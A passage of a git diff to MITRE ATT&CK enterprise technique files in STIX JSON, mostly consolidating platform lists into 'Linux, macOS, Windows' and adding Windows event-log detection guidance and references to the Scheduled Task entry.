Netflow/Enclave netflow\n\nPermissions Required: Administrator, SYSTEM\n\nSystem Requirements: Network interface access and packet capture driver",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -37,21 +37,9 @@
                 "SYSTEM"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ],
             "x_mitre_system_requirements": [
                 "Network interface access and packet capture driver"
diff --git a/enterprise-attack/attack-pattern/attack-pattern--327f3cc5-eea1-42d4-a6cd-ed34b7ce8f61.json b/enterprise-attack/attack-pattern/attack-pattern--327f3cc5-eea1-42d4-a6cd-ed34b7ce8f61.json
index e92a4cfdda..174449c9a0 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--327f3cc5-eea1-42d4-a6cd-ed34b7ce8f61.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--327f3cc5-eea1-42d4-a6cd-ed34b7ce8f61.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7eee44a1-8fea-4456-80cc-eb8106ee69d2",
+    "id": "bundle--0d606085-e97b-46dd-91d6-32a9d43d9431",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--327f3cc5-eea1-42d4-a6cd-ed34b7ce8f61",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:27.755Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Application Deployment Software",
-            "description": "Adversaries may deploy malicious software to systems within a network using application deployment systems employed by enterprise administrators. The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the deployment server, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform software deployment.\n\nAccess to a network-wide or enterprise-wide software deployment system enables an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.\n\nDetection: Monitor application deployments from a secondary system. Perform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: File monitoring, Process use of network, Process monitoring\n\nSystem Requirements: Access to application deployment software (EPO, HPCA, Altiris, etc.)",
+            "description": "Adversaries may deploy malicious software to systems within a network using application deployment systems employed by enterprise administrators. The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the deployment server, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform software deployment.\n\nAccess to a network-wide or enterprise-wide software deployment system enables an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.\n\nDetection: Monitor application deployments from a secondary system. Perform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process use of network, Process monitoring\n\nSystem Requirements: Access to application deployment software (EPO, HPCA, Altiris, etc.)",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -33,21 +33,9 @@
                 "Process monitoring"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ],
             "x_mitre_system_requirements": [
                 "Access to application deployment software (EPO, HPCA, Altiris, etc.)"
diff --git a/enterprise-attack/attack-pattern/attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f.json b/enterprise-attack/attack-pattern/attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f.json
index 942f3f4ff7..f401650cbc 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e00361da-7acb-4a07-8a54-1a5b012797a6",
+    "id": "bundle--2382a870-acfc-4801-9b80-65ae786bbbf9",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Network Share Discovery",
-            "description": "Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network. \n\n===Windows===\n\nFile sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder)\n\nNet can be used to query a remote system for available shared drives using the <code>net view \\\\remotesystem</code> command. It can also be used to query shared drives on the local system using <code>net share</code>.\n\nAdversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement.\n\n===Mac===\n\nOn Mac, locally mounted shares can be viewed with the <code>df -aH</code> command.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, MacOS, OS X\n\nData Sources: Process Monitoring, Process command-line parameters, Network protocol analysis, Process use of network\n\nPermissions Required: User",
+            "description": "Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network. \n\n===Windows===\n\nFile sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder)\n\nNet can be used to query a remote system for available shared drives using the <code>net view \\\\remotesystem</code> command. It can also be used to query shared drives on the local system using <code>net share</code>.\n\nAdversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement.\n\n===Mac===\n\nOn Mac, locally mounted shares can be viewed with the <code>df -aH</code> command.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: macOS, Windows\n\nData Sources: Process Monitoring, Process command-line parameters, Network protocol analysis, Process use of network\n\nPermissions Required: User",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -47,20 +47,8 @@
                 "User"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643.json b/enterprise-attack/attack-pattern/attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643.json
index 8c5f16071f..855893edae 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7f16a4cf-2bbf-43f0-a8ad-afb0a3e5f510",
+    "id": "bundle--be997317-196c-4516-9610-adcb494c5f4a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:28.471Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Peripheral Device Discovery",
-            "description": "Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nPermissions Required: User, Administrator, SYSTEM",
+            "description": "Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows\n\nPermissions Required: User, Administrator, SYSTEM",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -33,18 +33,7 @@
                 "SYSTEM"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1.json b/enterprise-attack/attack-pattern/attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1.json
index 21d0979c27..36182a0775 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--56586a2c-0f1e-47ad-b824-f68df03cbbcd",
+    "id": "bundle--f95453d1-1bf1-46a7-bfc0-dbe8373f48cc",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:04.307Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "System Information Discovery",
-            "description": "An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture.\n\n===Windows===\n\nExample commands and utilities that obtain this information include <code>ver</code>, Systeminfo, and <code>dir</code> within cmd for identifying information based on present files and directories.\n\n===Mac===\n\nOn Mac, the <code>systemsetup</code> command gives a detailed breakdown of the system, but it requires administrative privileges. Additionally, the <code>system_profiler</code> gives a very detailed breakdown of configurations, firewall rules, mounted volumes, hardware, and many other things without needing elevated permissions.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Process command-line parameters, Process monitoring\n\nPermissions Required: User",
+            "description": "An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture.\n\n===Windows===\n\nExample commands and utilities that obtain this information include <code>ver</code>, Systeminfo, and <code>dir</code> within cmd for identifying information based on present files and directories.\n\n===Mac===\n\nOn Mac, the <code>systemsetup</code> command gives a detailed breakdown of the system, but it requires administrative privileges. Additionally, the <code>system_profiler</code> gives a very detailed breakdown of configurations, firewall rules, mounted volumes, hardware, and many other things without needing elevated permissions.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Process command-line parameters, Process monitoring\n\nPermissions Required: User",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -35,21 +35,9 @@
                 "User"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6.json b/enterprise-attack/attack-pattern/attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6.json
index 22d0faa5c8..edcbc5736d 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--018da223-4571-4494-8ff7-2a26fcf2182c",
+    "id": "bundle--2a87d4cb-fd7e-4fcb-bcb4-2c3a9bfee6c4",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:56.776Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Standard Application Layer Protocol",
-            "description": "Adversaries may communicate using a common, standardized application layer protocol such as HTTP, HTTPS, SMTP, or DNS to avoid detection by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.\n\nFor connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are RPC, SSH, or RDP.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.  Analyze packet contents to detect application layer protocols that do not follow the expected protocol for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Malware reverse engineering, Process monitoring\n\nRequires Network: Yes",
+            "description": "Adversaries may communicate using a common, standardized application layer protocol such as HTTP, HTTPS, SMTP, or DNS to avoid detection by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.\n\nFor connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are RPC, SSH, or RDP.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.  Analyze packet contents to detect application layer protocols that do not follow the expected protocol for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Malware reverse engineering, Process monitoring\n\nRequires Network: Yes",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -41,21 +41,9 @@
             ],
             "x_mitre_network_requirements": true,
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9.json b/enterprise-attack/attack-pattern/attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9.json
index c23f164966..7f014749c8 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--636f3fad-31e8-48ec-90d5-2605425c298c",
+    "id": "bundle--287186f0-67f4-414b-8d50-58cbf082e8fa",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:46.977Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Scheduled Task",
-            "description": "Utilities such as at and schtasks, along with the Windows Task Scheduler, can be used to schedule programs or scripts to be executed at a date and time. The account used to create the task must be in the Administrators group on the local system. A task can also be scheduled on a remote system, provided the proper authentication is met to use RPC and file and printer sharing is turned on. (Citation: TechNet Task Scheduler Security)\n\nAn adversary may use task scheduling to execute programs at system startup or on a scheduled basis for persistence, to conduct remote Execution as part of Lateral Movement, to gain SYSTEM privileges, or to run a process under the context of a specified account.\n\nDetection: Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Monitor process execution from the Windows Task Scheduler <code>taskeng.exe</code>. If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in <code>%systemroot%\\System32\\Tasks</code> for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns) Look for changes to tasks that do not correlate with known software, patch cycles, etc. Suspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data.\n\nMonitor processes and command-line arguments for actions that could be taken to create tasks. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: File monitoring, Process command-line parameters, Process monitoring\n\nEffective Permissions: Administrator, SYSTEM\n\nPermissions Required: Administrator, SYSTEM\n\nRemote Support: Yes",
+            "description": "Utilities such as at and schtasks, along with the Windows Task Scheduler, can be used to schedule programs or scripts to be executed at a date and time. The account used to create the task must be in the Administrators group on the local system. A task can also be scheduled on a remote system, provided the proper authentication is met to use RPC and file and printer sharing is turned on. (Citation: TechNet Task Scheduler Security)\n\nAn adversary may use task scheduling to execute programs at system startup or on a scheduled basis for persistence, to conduct remote Execution as part of Lateral Movement, to gain SYSTEM privileges, or to run a process under the context of a specified account.\n\nDetection: Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Monitor process execution from the <code>svchost.exe</code> in Windows 10 and the Windows Task Scheduler <code>taskeng.exe</code> for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in <code>%systemroot%\\System32\\Tasks</code> for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nConfigure event logging for scheduled task creation and changes by enabling the \"Microsoft-Windows-TaskScheduler/Operational\" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)\n\n*Event ID 106 - Scheduled task registered\n*Event ID 140 - Scheduled task updated\n*Event ID 141 - Scheduled task removed\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns) Look for changes to tasks that do not correlate with known software, patch cycles, etc. Suspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data.\n\nMonitor processes and command-line arguments for actions that could be taken to create tasks. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Process command-line parameters, Process monitoring, Windows event logs\n\nEffective Permissions: Administrator, SYSTEM\n\nPermissions Required: Administrator, SYSTEM\n\nRemote Support: Yes\n\nContributors: Travis Smith, Tripwire, Leo Loobeek, @leoloobeek",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -36,19 +36,39 @@
                     "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                     "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
                 },
+                {
+                    "source_name": "TechNet Forum Scheduled Task Operational Setting",
+                    "description": "Satyajit321. (2015, November 3). Scheduled Tasks History Retention settings. Retrieved December 12, 2017.",
+                    "url": "https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen"
+                },
+                {
+                    "source_name": "TechNet Scheduled Task Events",
+                    "description": "Microsoft. (n.d.). General Task Registration. Retrieved December 12, 2017.",
+                    "url": "https://technet.microsoft.com/library/dd315590.aspx"
+                },
                 {
                     "source_name": "TechNet Task Scheduler Security",
                     "description": "Microsoft. (2005, January 21). Task Scheduler and security. Retrieved June 8, 2016.",
                     "url": "https://technet.microsoft.com/en-us/library/cc785125.aspx"
+                },
+                {
+                    "source_name": "Twitter Leoloobeek Scheduled Task",
+                    "description": "Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved December 12, 2017.",
+                    "url": "https://twitter.com/leoloobeek/status/939248813465853953"
                 }
             ],
             "object_marking_refs": [
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
+            "x_mitre_contributors": [
+                "Travis Smith, Tripwire",
+                "Leo Loobeek, @leoloobeek"
+            ],
             "x_mitre_data_sources": [
                 "File monitoring",
                 "Process command-line parameters",
-                "Process monitoring"
+                "Process monitoring",
+                "Windows event logs"
             ],
             "x_mitre_effective_permissions": [
                 "Administrator",
@@ -59,18 +79,7 @@
                 "SYSTEM"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ],
             "x_mitre_remote_support": true
         }
diff --git a/enterprise-attack/attack-pattern/attack-pattern--36675cd3-fe00-454c-8516-aebecacbe9d9.json b/enterprise-attack/attack-pattern/attack-pattern--36675cd3-fe00-454c-8516-aebecacbe9d9.json
index b15384b0f3..00be29a7be 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--36675cd3-fe00-454c-8516-aebecacbe9d9.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--36675cd3-fe00-454c-8516-aebecacbe9d9.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--fa7ff010-5a2b-446b-b060-6d47859da424",
+    "id": "bundle--4206bebf-1e47-412b-be87-00bba8c72bde",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--36675cd3-fe00-454c-8516-aebecacbe9d9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Login Item",
-            "description": "MacOS provides the option to list specific applications to run when a user logs in. These applications run under the logged in user's context, and will be started every time the user logs in. Login items installed using the Service Management Framework are not visible in the System Preferences and can only be removed by the application that created them (Citation: Adding Login Items). Users have direct control over login items installed using a shared file list which are also visible in System Preferences (Citation: Adding Login Items). These login items are stored in the user's <code>~/Library/Preferences/</code> directory in a plist file called <code>com.apple.loginitems.plist</code> (Citation: Methods of Mac Malware Persistence). Some of these applications can open visible dialogs to the user, but they don\u2019t all have to since there is an option to \u2018Hide\u2019 the window. If an adversary can register their own login item or modified an existing one, then they can use it to execute their code for a persistence mechanism each time the user logs in (Citation: Malware Persistence on OS X) (Citation: OSX.Dok Malware).\n\nDetection: All the login items are viewable by going to the Apple menu -> System Preferences -> Users & Groups -> Login items. This area should be monitored and whitelisted for known good applications. Monitor process execution resulting from login actions for unusual or unknown applications.\n\nPlatforms: MacOS, OS X\n\nPermissions Required: User",
+            "description": "MacOS provides the option to list specific applications to run when a user logs in. These applications run under the logged in user's context, and will be started every time the user logs in. Login items installed using the Service Management Framework are not visible in the System Preferences and can only be removed by the application that created them (Citation: Adding Login Items). Users have direct control over login items installed using a shared file list which are also visible in System Preferences (Citation: Adding Login Items). These login items are stored in the user's <code>~/Library/Preferences/</code> directory in a plist file called <code>com.apple.loginitems.plist</code> (Citation: Methods of Mac Malware Persistence). Some of these applications can open visible dialogs to the user, but they don\u2019t all have to since there is an option to \u2018Hide\u2019 the window. If an adversary can register their own login item or modified an existing one, then they can use it to execute their code for a persistence mechanism each time the user logs in (Citation: Malware Persistence on OS X) (Citation: OSX.Dok Malware).\n\nDetection: All the login items are viewable by going to the Apple menu -> System Preferences -> Users & Groups -> Login items. This area should be monitored and whitelisted for known good applications. Monitor process execution resulting from login actions for unusual or unknown applications.\n\nPlatforms: macOS\n\nPermissions Required: User",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -51,8 +51,7 @@
                 "User"
             ],
             "x_mitre_platforms": [
-                "MacOS",
-                "OS X"
+                "macOS"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8.json b/enterprise-attack/attack-pattern/attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8.json
new file mode 100644
index 0000000000..ebc81e78be
--- /dev/null
+++ b/enterprise-attack/attack-pattern/attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8.json
@@ -0,0 +1,95 @@
+{
+    "type": "bundle",
+    "id": "bundle--7d9a27db-964f-4eae-b1a5-9fea3e93cb96",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "attack-pattern",
+            "id": "attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8",
